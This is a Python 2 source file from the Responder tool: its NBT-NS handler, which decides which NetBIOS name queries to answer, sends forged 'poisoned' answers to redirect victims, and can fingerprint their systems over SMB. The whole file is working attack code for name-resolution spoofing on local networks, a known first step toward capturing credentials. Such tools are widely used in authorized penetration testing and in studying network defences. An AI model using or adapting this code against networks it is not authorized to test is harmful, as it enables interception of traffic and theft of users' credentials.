#!/usr/bin/env python2
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import socket
import settings
import fingerprint

from packets import NBT_Ans
from SocketServer import BaseRequestHandler
from utils import *

# Define what are we answering to.
def Validate_NBT_NS(data):
	if settings.Config.AnalyzeMode:
		return False

	if NBT_NS_Role(data[43:46]) == "File Server":
		return True

	if settings.Config.NBTNSDomain == True:
		if NBT_NS_Role(data[43:46]) == "Domain Controller":
			return True

	if settings.Config.Wredirect == True:
		if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
			return True

	else:
		return False

# NBT_NS Server class.
class NBTNS(BaseRequestHandler):

	def handle(self):

		data, socket = self.request
		Name = Decode_Name(data[13:45])

		# Break out if we don't want to respond to this host
		if RespondToThisHost(self.client_address[0], Name) is not True:
			return None

		if data[2:4] == "\x01\x10":

			if settings.Config.Finger_On_Off:
				Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
			else:
				Finger = None

			# Analyze Mode
			if settings.Config.AnalyzeMode:
				LineHeader = "[Analyze mode: NBT-NS]"
				print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)

			# Poisoning Mode
			else:
				Buffer = NBT_Ans()
				Buffer.calculate(data)
				socket.sendto(str(Buffer), self.client_address)
				LineHeader = "[*] [NBT-NS]"

				print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)

			if Finger is not None:
				print text("[FINGER] OS Version     : %s" % color(Finger[0], 3))
				print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
